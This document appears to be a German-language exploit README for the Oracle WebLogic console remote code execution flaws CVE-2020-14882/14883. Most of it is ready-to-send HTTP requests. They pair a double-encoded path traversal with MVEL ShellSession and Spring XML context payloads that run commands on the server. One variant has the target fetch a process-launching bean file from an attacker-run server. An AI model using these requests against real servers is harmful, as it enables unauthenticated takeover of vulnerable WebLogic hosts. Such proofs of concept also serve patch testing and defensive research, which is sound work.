murataydemir/cve-2020-14883[CVE-2020-14882] Oracle WebLogic Server Authentifizierte Remote-Codeausführung (RCE)
[CVE-2020-14883] Oracle WebLogic Server Authentifizierte Remote-Codeausführung (RCE)
Eine Schwachstelle im Produkt Oracle WebLogic Server von Oracle Fusion Middleware (Komponente: Console). Betroffene unterstützte Versionen sind 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 und 14.1.1.0.0. Die leicht ausnutzbare Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer mit Netzwerkzugriff über HTTP, den Oracle WebLogic Server zu kompromittieren. Erfolgreiche Angriffe auf diese Schwachstelle können zur Übernahme des Oracle WebLogic Servers führen.
Proof of Concept (PoC) 1: mithilfe von tangosol.coherence.mvel2.sh.ShellSession() für Windows-basierte Ziele
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
Proof of Concept (PoC) 2: mithilfe von tangosol.coherence.mvel2.sh.ShellSession() für Linux-basierte Ziele
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');");
Proof of Concept (PoC) 3: mithilfe von com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext für Windows-basierte Ziele
Inhalt der Datei poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>
<![CDATA[calc]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
python3 -m http.server 7575 ausführenPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
Proof of Concept (PoC) 4: mithilfe von com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext für Windows-basierte Ziele
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")